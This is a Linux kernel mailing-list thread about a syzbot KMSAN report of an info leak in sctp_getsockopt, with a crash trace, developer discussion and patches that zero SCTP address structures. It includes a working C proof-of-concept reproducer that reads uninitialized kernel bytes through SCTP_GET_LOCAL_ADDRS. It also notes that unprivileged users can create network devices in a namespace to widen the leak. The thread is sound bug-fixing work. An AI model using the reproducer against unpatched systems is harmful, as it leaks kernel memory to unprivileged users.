KMSAN: kernel-infoleak in sctp_getsockopt

[syzbot]

Hello,

syzbot found the following crash on:

HEAD commit: fffec98ae2a6 net: proper support for CONFIG_GENERIC_CSUM o..
git tree: https://github.com/google/kmsan.git/master
console output: https://syzkaller.appspot.com/x/log.txt?x=12e84a47400000
kernel config: https://syzkaller.appspot.com/x/.config?x=56b48b46dafe4516
dashboard link: https://syzkaller.appspot.com/bug?extid=ad5d327e6936a2e284be
compiler: clang version 8.0.0 (trunk 343298)
syz repro: https://syzkaller.appspot.com/x/repro.syz?x=103cd225400000

IMPORTANT: if you fix the bug, please add the following tag to the commit:
Reported-by: syzbot+ad5d32...@syzkaller.appspotmail.com

8021q: adding VLAN 0 to HW filter on device team0
8021q: adding VLAN 0 to HW filter on device team0
8021q: adding VLAN 0 to HW filter on device team0
8021q: adding VLAN 0 to HW filter on device team0
==================================================================
BUG: KMSAN: kernel-infoleak in _copy_to_user+0x19a/0x230 lib/usercopy.c:33
CPU: 1 PID: 8164 Comm: syz-executor2 Not tainted 4.20.0-rc3+ #95
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS
Google 01/01/2011
Call Trace:
__dump_stack lib/dump_stack.c:77 [inline]
dump_stack+0x32d/0x480 lib/dump_stack.c:113
kmsan_report+0x12c/0x290 mm/kmsan/kmsan.c:683
kmsan_internal_check_memory+0x32a/0xa50 mm/kmsan/kmsan.c:743
kmsan_copy_to_user+0x78/0xd0 mm/kmsan/kmsan_hooks.c:634
_copy_to_user+0x19a/0x230 lib/usercopy.c:33
copy_to_user include/linux/uaccess.h:183 [inline]
sctp_getsockopt_local_addrs net/sctp/socket.c:5998 [inline]
sctp_getsockopt+0x15248/0x186f0 net/sctp/socket.c:7477
sock_common_getsockopt+0x13f/0x180 net/core/sock.c:2937
__sys_getsockopt+0x489/0x550 net/socket.c:1939
__do_sys_getsockopt net/socket.c:1950 [inline]
__se_sys_getsockopt+0xe1/0x100 net/socket.c:1947
__x64_sys_getsockopt+0x62/0x80 net/socket.c:1947
do_syscall_64+0xcf/0x110 arch/x86/entry/common.c:291
entry_SYSCALL_64_after_hwframe+0x63/0xe7
RIP: 0033:0x457569
Code: fd b3 fb ff c3 66 2e 0f 1f 84 00 00 00 00 00 66 90 48 89 f8 48 89 f7
48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff
ff 0f 83 cb b3 fb ff c3 66 2e 0f 1f 84 00 00 00 00
RSP: 002b:00007f4991886c78 EFLAGS: 00000246 ORIG_RAX: 0000000000000037
RAX: ffffffffffffffda RBX: 0000000000000005 RCX: 0000000000457569
RDX: 000000000000006d RSI: 0000000000000084 RDI: 0000000000000003
RBP: 000000000072bf00 R08: 0000000020000140 R09: 0000000000000000
R10: 0000000020001100 R11: 0000000000000246 R12: 00007f49918876d4
R13: 00000000004c7d88 R14: 00000000004ce348 R15: 00000000ffffffff

Uninit was stored to memory at:
kmsan_save_stack_with_flags mm/kmsan/kmsan.c:246 [inline]
kmsan_save_stack mm/kmsan/kmsan.c:261 [inline]
kmsan_internal_chain_origin+0x13d/0x240 mm/kmsan/kmsan.c:469
kmsan_memcpy_memmove_metadata+0x1a9/0xf70 mm/kmsan/kmsan.c:344
kmsan_memcpy_metadata+0xb/0x10 mm/kmsan/kmsan.c:362
__msan_memcpy+0x61/0x70 mm/kmsan/kmsan_instr.c:162
sctp_copy_laddrs net/sctp/socket.c:5901 [inline]
sctp_getsockopt_local_addrs net/sctp/socket.c:5967 [inline]
sctp_getsockopt+0x14f41/0x186f0 net/sctp/socket.c:7477
sock_common_getsockopt+0x13f/0x180 net/core/sock.c:2937
__sys_getsockopt+0x489/0x550 net/socket.c:1939
__do_sys_getsockopt net/socket.c:1950 [inline]
__se_sys_getsockopt+0xe1/0x100 net/socket.c:1947
__x64_sys_getsockopt+0x62/0x80 net/socket.c:1947
do_syscall_64+0xcf/0x110 arch/x86/entry/common.c:291
entry_SYSCALL_64_after_hwframe+0x63/0xe7

Uninit was stored to memory at:
kmsan_save_stack_with_flags mm/kmsan/kmsan.c:246 [inline]
kmsan_save_stack mm/kmsan/kmsan.c:261 [inline]
kmsan_internal_chain_origin+0x13d/0x240 mm/kmsan/kmsan.c:469
kmsan_memcpy_memmove_metadata+0x1a9/0xf70 mm/kmsan/kmsan.c:344
kmsan_memcpy_metadata+0xb/0x10 mm/kmsan/kmsan.c:362
__msan_memcpy+0x61/0x70 mm/kmsan/kmsan_instr.c:162
sctp_copy_laddrs net/sctp/socket.c:5890 [inline]
sctp_getsockopt_local_addrs net/sctp/socket.c:5967 [inline]
sctp_getsockopt+0x14de8/0x186f0 net/sctp/socket.c:7477
sock_common_getsockopt+0x13f/0x180 net/core/sock.c:2937
__sys_getsockopt+0x489/0x550 net/socket.c:1939
__do_sys_getsockopt net/socket.c:1950 [inline]
__se_sys_getsockopt+0xe1/0x100 net/socket.c:1947
__x64_sys_getsockopt+0x62/0x80 net/socket.c:1947
do_syscall_64+0xcf/0x110 arch/x86/entry/common.c:291
entry_SYSCALL_64_after_hwframe+0x63/0xe7

Uninit was created at:
kmsan_save_stack_with_flags mm/kmsan/kmsan.c:246 [inline]
kmsan_internal_poison_shadow+0x6d/0x130 mm/kmsan/kmsan.c:170
kmsan_kmalloc+0xa1/0x100 mm/kmsan/kmsan_hooks.c:186
__kmalloc+0x14c/0x4d0 mm/slub.c:3825
kmalloc include/linux/slab.h:551 [inline]
sctp_inet6addr_event+0x60e/0xbd0 net/sctp/ipv6.c:100
notifier_call_chain kernel/notifier.c:93 [inline]
__atomic_notifier_call_chain kernel/notifier.c:183 [inline]
atomic_notifier_call_chain+0x13d/0x240 kernel/notifier.c:193
inet6addr_notifier_call_chain+0x76/0x90 net/ipv6/addrconf_core.c:107
ipv6_add_addr+0x2597/0x2890 net/ipv6/addrconf.c:1115
inet6_addr_add+0xc86/0x1c10 net/ipv6/addrconf.c:2912
inet6_rtm_newaddr+0x167e/0x3d20 net/ipv6/addrconf.c:4750
rtnetlink_rcv_msg+0x1148/0x1540 net/core/rtnetlink.c:4947
netlink_rcv_skb+0x394/0x640 net/netlink/af_netlink.c:2477
rtnetlink_rcv+0x50/0x60 net/core/rtnetlink.c:4965
netlink_unicast_kernel net/netlink/af_netlink.c:1310 [inline]
netlink_unicast+0x1699/0x1740 net/netlink/af_netlink.c:1336
netlink_sendmsg+0x13c7/0x1440 net/netlink/af_netlink.c:1917
sock_sendmsg_nosec net/socket.c:621 [inline]
sock_sendmsg net/socket.c:631 [inline]
___sys_sendmsg+0xe3b/0x1240 net/socket.c:2116
__sys_sendmsg net/socket.c:2154 [inline]
__do_sys_sendmsg net/socket.c:2163 [inline]
__se_sys_sendmsg+0x305/0x460 net/socket.c:2161
__x64_sys_sendmsg+0x4a/0x70 net/socket.c:2161
do_syscall_64+0xcf/0x110 arch/x86/entry/common.c:291
entry_SYSCALL_64_after_hwframe+0x63/0xe7

Bytes 32-35 of 2100 are uninitialized
Memory access of size 2100 starts at ffff888185d8b000
Data copied to user address 0000000020001108
==================================================================


---
This bug is generated by a bot. It may contain errors.
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[Alexander Potapenko]

When a network device goes up and sctp_inetaddr_event() is called, it
allocates a partially initialized struct sctp_sockaddr_entry to hold
the newly created address.
The attached reproducer can be then used to read up to 8 uninit bytes
for each of the local addresses.
I guess the devices aren't created so often that this can pose any
security risk, but we probably still need to allocate this structure
with __GFP_ZERO.

>
> ---
> This bug is generated by a bot. It may contain errors.
> See https://goo.gl/tpsmEJ for more information about syzbot.
> syzbot engineers can be reached at syzk...@googlegroups.com.
>
> syzbot will keep track of this bug report. See:
> https://goo.gl/tpsmEJ#bug-status-tracking for how to communicate with
> syzbot.
> syzbot can test patches for this bug, for details see:
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>

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--
Alexander Potapenko
Software Engineer

Google Germany GmbH
Erika-Mann-Straße, 33
80636 München

Geschäftsführer: Paul Manicle, Halimah DeLaine Prado
Registergericht und -nummer: Hamburg, HRB 86891
Sitz der Gesellschaft: Hamburg

[Marcelo Ricardo Leitner]

Agree. Thanks Alexander.
Looks like this is the last/only place left with this issue.

> >
> > ---
> > This bug is generated by a bot. It may contain errors.
> > See https://goo.gl/tpsmEJ for more information about syzbot.
> > syzbot engineers can be reached at syzk...@googlegroups.com.
> >
> > syzbot will keep track of this bug report. See:
> > https://goo.gl/tpsmEJ#bug-status-tracking for how to communicate with
> > syzbot.
> > syzbot can test patches for this bug, for details see:
> > https://goo.gl/tpsmEJ#testing-patches
> >
> > --
> > You received this message because you are subscribed to the Google Groups "syzkaller-bugs" group.
> > To unsubscribe from this group and stop receiving emails from it, send an email to syzkaller-bug...@googlegroups.com.
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> > For more options, visit https://groups.google.com/d/optout.
>
>
>
> --
> Alexander Potapenko
> Software Engineer
>
> Google Germany GmbH
> Erika-Mann-Straße, 33
> 80636 München
>
> Geschäftsführer: Paul Manicle, Halimah DeLaine Prado
> Registergericht und -nummer: Hamburg, HRB 86891
> Sitz der Gesellschaft: Hamburg

> #ifndef DUMP_BUF_H
> #define DUMP_BUF_H
>
> #ifndef DUMP_MIN_STRLEN
> #define DUMP_MIN_STRLEN 1
> #endif
>
> #ifndef DUMP_PARALLEL
> #define DUMP_PARALLEL 0
> #endif
>
> #ifndef DUMP_PRINT_BUF_ADDR
> #define DUMP_PRINT_BUF_ADDR 0
> #endif
>
> #ifndef DUMP_PRINT_HEX
> #define DUMP_PRINT_HEX 0
> #endif
>
> #ifndef DUMP_PRINT_STRING
> #define DUMP_PRINT_STRING 0
> #endif
>
> #if DUMP_PARALLEL
> pthread_mutex_t out_mutex = PTHREAD_MUTEX_INITIALIZER;
> #endif
>
> void dump_buf(unsigned char *buf, int len) {
> int i, nz = 0;
> for (i = 0; i < len; i++) {
> if (buf[i]) {
> nz = 1;
> break;
> }
> }
> if (!nz) {
> // The buffer is empty.
> return;
> } else {
> #if DUMP_PARALLEL
> pthread_mutex_lock(&out_mutex);
> #endif
> #if DUMP_PRINT_BUF_ADDR
> fprintf(stderr, "nonempty buffer at %p\n", buf);
> #endif
> #if DUMP_PRINT_HEX
> for (i=0; i < len; i++) {
> if (buf[i]) {
> fprintf(stderr, "buf[%d]: %x (%p)\n", i, buf[i], *(void**)&buf[i]);
> }
> }
> #endif // DUMP_PRINT_HEX
> #if DUMP_PARALLEL
> pthread_mutex_unlock(&out_mutex);
> #endif
> }
> #if DUMP_PARALLEL
> pthread_mutex_lock(&out_mutex);
> #endif
> #if DUMP_PRINT_STRING
> for (i = 0; i < len; i++) {
> if (buf[i]) {
> int str_len = strlen(&buf[i]);
> // Short string pieces are too boring.
> if (str_len >= DUMP_MIN_STRLEN) {
> unsigned char *c;
> for (c = &buf[i]; c < &buf[i + str_len]; c++) {
> if ((*c > 127) || ((*c < 32) && (*c != 10) && (*c != 13))) {
> *c = ' ';
> continue;
> }
> }
> // Dump the buffer.
> fprintf(stderr, "%s\n", &buf[i]);
> }
> i += str_len;
> }
> }
> #endif // DUMP_PRINT_STRING
> #if DUMP_PARALLEL
> pthread_mutex_unlock(&out_mutex);
> #endif
> }
>
> #endif

> #include <stdio.h>
> #include <pthread.h>
> #include <sys/types.h> /* See NOTES */
> #include <sys/socket.h>
> #include <unistd.h>
>
> #define DUMP_PARALLEL 1
> #define DUMP_PRINT_BUF_ADDR 1
> #define DUMP_PRINT_STRING 1
> #define DUMP_PRINT_HEX 1
> #include "dump_buf.h"
>
> void *setsockopt_fn(void *arg) {
> int sock = (int)arg;
> struct sockaddr addr;
> memset(&addr, 0, sizeof(addr));
> addr.sa_family = 2;
> addr.sa_data[2] = 0xac;
> addr.sa_data[3] = 0x14;
> addr.sa_data[4] = 0x14;
> setsockopt(sock, 0x84, 0x6e, &addr, 0x10);
> }
>
> #define BUFLEN (0x2c2)
> void *getsockopt_fn(void *arg) {
> int sock = (int)arg;
> char buf[BUFLEN];
> memset(buf, 0, BUFLEN);
> int socklen = BUFLEN;
> getsockopt(sock, 0x84, /*SCTP_GET_LOCAL_ADDRS*/0x6d, buf, &socklen);
> dump_buf(&(buf[8]), 32);
> }
>
> void do_work(int sock) {
> pthread_t t1, t2;
> for (int i = 0; i < 10; i++) {
> pthread_create(&t1, NULL, getsockopt_fn, (void*)sock);
> pthread_create(&t2, NULL, setsockopt_fn, (void*)sock);
> usleep(100);
> }
> }
>
> int main(int argc, char *argv[]) {
> int res;
> int pid = fork();
> if (pid == 0) {
> int sock = socket(0x2, 0x1, 0x84);
> do_work(sock);
> }
> sleep(10);
> return 0;
> }

[Alexander Potapenko]

It also turns out that a non-privileged user is allowed to create
network devices within a namespace, which makes it easier to generate
more uninitialized data.

[Xin Long]

This field is not really used by sctp, I will just set it to 0.

diff --git a/net/sctp/ipv6.c b/net/sctp/ipv6.c
index fc6c5e4bffa5..7f0539db5604 100644
--- a/net/sctp/ipv6.c
+++ b/net/sctp/ipv6.c
@@ -101,6 +101,7 @@ static int sctp_inet6addr_event(struct
notifier_block *this, unsigned long ev,
if (addr) {
addr->a.v6.sin6_family = AF_INET6;
addr->a.v6.sin6_port = 0;
+ addr->a.v6.sin6_flowinfo = 0;
addr->a.v6.sin6_addr = ifa->addr;
addr->a.v6.sin6_scope_id = ifa->idev->dev->ifindex;
addr->valid = 1;

[Alexander Potapenko]

Actually there's still a similar bug in IPv4. Memsetting addr->av4 should help:

diff --git a/net/sctp/protocol.c b/net/sctp/protocol.c
index d5878ae55840..f1cbfb4d0c39 100644
--- a/net/sctp/protocol.c
+++ b/net/sctp/protocol.c
@@ -778,6 +778,7 @@ static int sctp_inetaddr_event(struct

notifier_block *this, unsigned long ev,

case NETDEV_UP:
addr = kmalloc(sizeof(struct sctp_sockaddr_entry), GFP_ATOMIC);
if (addr) {
+ memset(&addr->a.v4, 0, sizeof(struct sockaddr_in));
addr->a.v4.sin_family = AF_INET;
addr->a.v4.sin_port = 0;
addr->a.v4.sin_addr.s_addr = ifa->ifa_local;

[Xin Long]

seems right, because of __pad of struct sockaddr_in.
Do you have any reproducer for this?

We should use kzalloc for all sctp_sockaddr_entry allocations.

Thanks.

[Alexander Potapenko]

I just took the above reproducer. Not sure what changed (perhaps the
configuration of my VM), but now the uninitialized data is allocated
by sctp_inetaddr_event()

[Dmitry Vyukov]

The second version was just reported as:

KMSAN: kernel-infoleak in sctp_getsockopt (2)
https://groups.google.com/forum/#!topic/syzkaller-bugs/eOTX3BR1O4s